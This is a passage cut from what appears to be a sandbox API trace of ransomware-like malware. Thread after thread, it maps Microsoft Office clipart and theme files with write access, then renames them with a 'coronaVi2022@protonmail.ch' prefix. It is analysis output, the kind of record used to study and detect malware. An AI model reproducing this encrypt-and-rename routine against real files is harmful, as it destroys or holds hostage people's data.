	[0107.267] GetFileSizeEx (in: hFile=0x11b0, lpFileSize=0x36cff5c | out: lpFileSize=0x36cff5c*=5626) returned 1
	[0107.267] CreateFileMappingA (hFile=0x11b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1603, lpName=0x0) returned 0x11c0
	[0107.272] MapViewOfFile (hFileMappingObject=0x11c0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0107.278] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0107.278] CloseHandle (hObject=0x11c0) returned 1
	[0107.278] GetCurrentThreadId () returned 0x1f40
	[0107.278] FlushFileBuffers (hFile=0x11b0) returned 1
	[0107.302] CloseHandle (hObject=0x11b0) returned 1
	[0107.303] _swprintf (in: param_1=0x36c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02106_.gif") returned 110
	[0107.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02106_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02106_.gif")) returned 1
	[0107.333] free (_Block=0x51f3088) 
	[0107.333] RtlExitUserThread (Status=0x0) 

Thread:
	id = 947
	os_tid = 0x1f44

	[0107.221] _alloca_probe () returned 0x40328a
	[0107.221] GetCurrentThreadId () returned 0x1f44
	[0107.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.gif", dwFileAttributes=0x80) returned 1
	[0107.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1168
	[0107.266] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x380ff5c | out: lpFileSize=0x380ff5c*=1007) returned 1
	[0107.266] CreateFileMappingA (hFile=0x1168, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fd, lpName=0x0) returned 0x11bc
	[0107.268] MapViewOfFile (hFileMappingObject=0x11bc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0107.271] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0107.271] CloseHandle (hObject=0x11bc) returned 1
	[0107.271] GetCurrentThreadId () returned 0x1f44
	[0107.271] FlushFileBuffers (hFile=0x1168) returned 1
	[0107.300] CloseHandle (hObject=0x1168) returned 1
	[0107.303] _swprintf (in: param_1=0x3809f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02116_.gif") returned 110
	[0107.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02116_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02116_.gif")) returned 1
	[0107.332] free (_Block=0x51f90b8) 
	[0107.332] RtlExitUserThread (Status=0x0) 

Thread:
	id = 948
	os_tid = 0x1f48

	[0107.222] _alloca_probe () returned 0x40328a
	[0107.223] GetCurrentThreadId () returned 0x1f48
	[0107.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.gif", dwFileAttributes=0x80) returned 1
	[0107.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1190
	[0107.265] GetFileSizeEx (in: hFile=0x1190, lpFileSize=0x394ff5c | out: lpFileSize=0x394ff5c*=2431) returned 1
	[0107.266] CreateFileMappingA (hFile=0x1190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x98d, lpName=0x0) returned 0x11b4
	[0107.266] MapViewOfFile (hFileMappingObject=0x11b4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.269] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.269] CloseHandle (hObject=0x11b4) returned 1
	[0107.269] GetCurrentThreadId () returned 0x1f48
	[0107.269] FlushFileBuffers (hFile=0x1190) returned 1
	[0107.298] CloseHandle (hObject=0x1190) returned 1
	[0107.302] _swprintf (in: param_1=0x3949f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02134_.gif") returned 110
	[0107.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02134_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02134_.gif")) returned 1
	[0107.331] free (_Block=0x51fa0c0) 
	[0107.331] RtlExitUserThread (Status=0x0) 

Thread:
	id = 949
	os_tid = 0x1f4c

	[0107.224] _alloca_probe () returned 0x40328a
	[0107.225] GetCurrentThreadId () returned 0x1f4c
	[0107.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.gif", dwFileAttributes=0x80) returned 1
	[0107.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1180
	[0107.285] GetFileSizeEx (in: hFile=0x1180, lpFileSize=0x3a8ff5c | out: lpFileSize=0x3a8ff5c*=1401) returned 1
	[0107.285] CreateFileMappingA (hFile=0x1180, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x581, lpName=0x0) returned 0x11c8
	[0107.285] MapViewOfFile (hFileMappingObject=0x11c8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0107.297] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0107.297] CloseHandle (hObject=0x11c8) returned 1
	[0107.298] GetCurrentThreadId () returned 0x1f4c
	[0107.298] FlushFileBuffers (hFile=0x1180) returned 1
	[0107.309] CloseHandle (hObject=0x1180) returned 1
	[0107.311] _swprintf (in: param_1=0x3a89f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02187_.gif") returned 110
	[0107.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02187_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02187_.gif")) returned 1
	[0107.336] free (_Block=0x51fc0d0) 
	[0107.336] RtlExitUserThread (Status=0x0) 

Thread:
	id = 950
	os_tid = 0x1f50

	[0107.226] _alloca_probe () returned 0x40328a
	[0107.226] GetCurrentThreadId () returned 0x1f50
	[0107.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.gif", dwFileAttributes=0x80) returned 1
	[0107.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11b4
	[0107.273] GetFileSizeEx (in: hFile=0x11b4, lpFileSize=0x3bcff5c | out: lpFileSize=0x3bcff5c*=19132) returned 1
	[0107.273] CreateFileMappingA (hFile=0x11b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ac7, lpName=0x0) returned 0x11c8
	[0107.274] MapViewOfFile (hFileMappingObject=0x11c8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0107.284] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0107.284] CloseHandle (hObject=0x11c8) returned 1
	[0107.284] GetCurrentThreadId () returned 0x1f50
	[0107.284] FlushFileBuffers (hFile=0x11b4) returned 1
	[0107.308] CloseHandle (hObject=0x11b4) returned 1
	[0107.309] _swprintf (in: param_1=0x3bc9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02198_.gif") returned 110
	[0107.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02198_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02198_.gif")) returned 1
	[0107.336] free (_Block=0x51fd0d8) 
	[0107.336] RtlExitUserThread (Status=0x0) 

Thread:
	id = 951
	os_tid = 0x1f54

	[0107.227] _alloca_probe () returned 0x40328a
	[0107.228] GetCurrentThreadId () returned 0x1f54
	[0107.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.gif", dwFileAttributes=0x80) returned 1
	[0107.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c4
	[0107.274] GetFileSizeEx (in: hFile=0x11c4, lpFileSize=0x3d0ff5c | out: lpFileSize=0x3d0ff5c*=5715) returned 1
	[0107.274] CreateFileMappingA (hFile=0x11c4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1655, lpName=0x0) returned 0x11c0
	[0107.279] MapViewOfFile (hFileMappingObject=0x11c0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.297] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.297] CloseHandle (hObject=0x11c0) returned 1
	[0107.297] GetCurrentThreadId () returned 0x1f54
	[0107.297] FlushFileBuffers (hFile=0x11c4) returned 1
	[0107.308] CloseHandle (hObject=0x11c4) returned 1
	[0107.310] _swprintf (in: param_1=0x3d09f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02201_.gif") returned 110
	[0107.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02201_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02201_.gif")) returned 1
	[0107.337] free (_Block=0x51fe0e0) 
	[0107.337] RtlExitUserThread (Status=0x0) 

Thread:
	id = 952
	os_tid = 0x1f58

	[0107.306] _alloca_probe () returned 0x40328a
	[0107.307] GetCurrentThreadId () returned 0x1f58
	[0107.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.gif", dwFileAttributes=0x80) returned 1
	[0107.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11b4
	[0107.313] GetFileSizeEx (in: hFile=0x11b4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=4971) returned 1
	[0107.313] CreateFileMappingA (hFile=0x11b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1375, lpName=0x0) returned 0x11c0
	[0107.313] MapViewOfFile (hFileMappingObject=0x11c0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.329] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.329] CloseHandle (hObject=0x11c0) returned 1
	[0107.329] GetCurrentThreadId () returned 0x1f58
	[0107.329] FlushFileBuffers (hFile=0x11b4) returned 1
	[0107.348] CloseHandle (hObject=0x11b4) returned 1
	[0107.348] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02214_.gif") returned 110
	[0107.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02214_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02214_.gif")) returned 1
	[0107.349] free (_Block=0x51f5098) 
	[0107.349] RtlExitUserThread (Status=0x0) 

Thread:
	id = 953
	os_tid = 0x1f5c

	[0107.316] _alloca_probe () returned 0x40328a
	[0107.317] GetCurrentThreadId () returned 0x1f5c
	[0107.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.gif", dwFileAttributes=0x80) returned 1
	[0107.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1190
	[0107.334] GetFileSizeEx (in: hFile=0x1190, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3012) returned 1
	[0107.334] CreateFileMappingA (hFile=0x1190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc7, lpName=0x0) returned 0x1168
	[0107.335] MapViewOfFile (hFileMappingObject=0x1168, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.347] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.347] CloseHandle (hObject=0x1168) returned 1
	[0107.347] GetCurrentThreadId () returned 0x1f5c
	[0107.347] FlushFileBuffers (hFile=0x1190) returned 1
	[0107.619] CloseHandle (hObject=0x1190) returned 1
	[0107.620] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02218_.gif") returned 110
	[0107.620] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02218_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02218_.gif")) returned 1
	[0107.620] free (_Block=0x51f0070) 
	[0107.620] RtlExitUserThread (Status=0x0) 

Thread:
	id = 954
	os_tid = 0x1f60

	[0107.372] _alloca_probe () returned 0x40328a
	[0107.372] GetCurrentThreadId () returned 0x1f60
	[0107.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", dwFileAttributes=0x80) returned 1
	[0107.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x111c
	[0107.374] GetFileSizeEx (in: hFile=0x111c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=740) returned 1
	[0107.375] CreateFileMappingA (hFile=0x111c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e7, lpName=0x0) returned 0x7d0
	[0107.375] MapViewOfFile (hFileMappingObject=0x7d0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.376] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.376] CloseHandle (hObject=0x7d0) returned 1
	[0107.376] GetCurrentThreadId () returned 0x1f60
	[0107.376] FlushFileBuffers (hFile=0x111c) returned 1
	[0107.399] CloseHandle (hObject=0x111c) returned 1
	[0107.402] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Aspect.xml") returned 110
	[0107.402] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___aspect.xml")) returned 1
	[0107.516] free (_Block=0x51fa0c0) 
	[0107.516] RtlExitUserThread (Status=0x0) 

Thread:
	id = 955
	os_tid = 0x1f64

	[0107.379] _alloca_probe () returned 0x40328a
	[0107.381] GetCurrentThreadId () returned 0x1f64
	[0107.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", dwFileAttributes=0x80) returned 1
	[0107.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x117c
	[0107.381] GetFileSizeEx (in: hFile=0x117c, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=744) returned 1
	[0107.381] CreateFileMappingA (hFile=0x117c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ef, lpName=0x0) returned 0x11c4
	[0107.381] MapViewOfFile (hFileMappingObject=0x11c4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0107.385] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0107.385] CloseHandle (hObject=0x11c4) returned 1
	[0107.385] GetCurrentThreadId () returned 0x1f64
	[0107.385] FlushFileBuffers (hFile=0x117c) returned 1
	[0107.401] CloseHandle (hObject=0x117c) returned 1
	[0107.402] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Blue Green.xml") returned 114
	[0107.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___blue green.xml")) returned 1
	[0107.517] free (_Block=0x51f3088) 
	[0107.517] RtlExitUserThread (Status=0x0) 

Thread:
	id = 956
	os_tid = 0x1f68

	[0107.383] _alloca_probe () returned 0x40328a
	[0107.384] GetCurrentThreadId () returned 0x1f68
	[0107.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", dwFileAttributes=0x80) returned 1
	[0107.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c4
	[0107.387] GetFileSizeEx (in: hFile=0x11c4, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=741) returned 1
	[0107.387] CreateFileMappingA (hFile=0x11c4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e9, lpName=0x0) returned 0x11b0
	[0107.387] MapViewOfFile (hFileMappingObject=0x11b0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0107.400] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0107.400] CloseHandle (hObject=0x11b0) returned 1
	[0107.400] GetCurrentThreadId () returned 0x1f68
	[0107.400] FlushFileBuffers (hFile=0x11c4) returned 1
	[0107.404] CloseHandle (hObject=0x11c4) returned 1
	[0107.406] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Blue II.xml") returned 111
	[0107.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___blue ii.xml")) returned 1
	[0107.518] free (_Block=0x51f60a0) 
	[0107.518] RtlExitUserThread (Status=0x0) 

Thread:
	id = 957
	os_tid = 0x1f6c

	[0107.388] _alloca_probe () returned 0x40328a
	[0107.389] GetCurrentThreadId () returned 0x1f6c
	[0107.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml", dwFileAttributes=0x80) returned 1
	[0107.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c4
	[0107.406] GetFileSizeEx (in: hFile=0x11c4, lpFileSize=0x36cff5c | out: lpFileSize=0x36cff5c*=743) returned 1
	[0107.406] CreateFileMappingA (hFile=0x11c4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ed, lpName=0x0) returned 0x11f0
	[0107.408] MapViewOfFile (hFileMappingObject=0x11f0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0107.409] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0107.409] CloseHandle (hObject=0x11f0) returned 1
	[0107.409] GetCurrentThreadId () returned 0x1f6c
	[0107.409] FlushFileBuffers (hFile=0x11c4) returned 1
	[0107.468] CloseHandle (hObject=0x11c4) returned 1
	[0107.476] _swprintf (in: param_1=0x36c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Blue Warm.xml") returned 113
	[0107.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue warm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\coronaVi2022@protonmail.ch___Blue Warm.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\coronavi2022@protonmail.ch___blue warm.xml")) returned 1
	[0107.519] free (_Block=0x51fb0c8) 
	[0107.519] RtlExitUserThread (Status=0x0) 

Thread:
	id = 958
	os_tid = 0x1f70

	[0107.390] _alloca_probe () returned 0x40328a
	[0107.391] GetCurrentThreadId () returned 0x1f70
	[0107.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml", dwFileAttributes=0x80) returned 1
	[0107.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11d8
	[0107.405] GetFileSizeEx (in: hFile=0x11d8, lpFileSize=0x380ff5c | out: lpFileSize=0x380ff5c*=738) returned 1
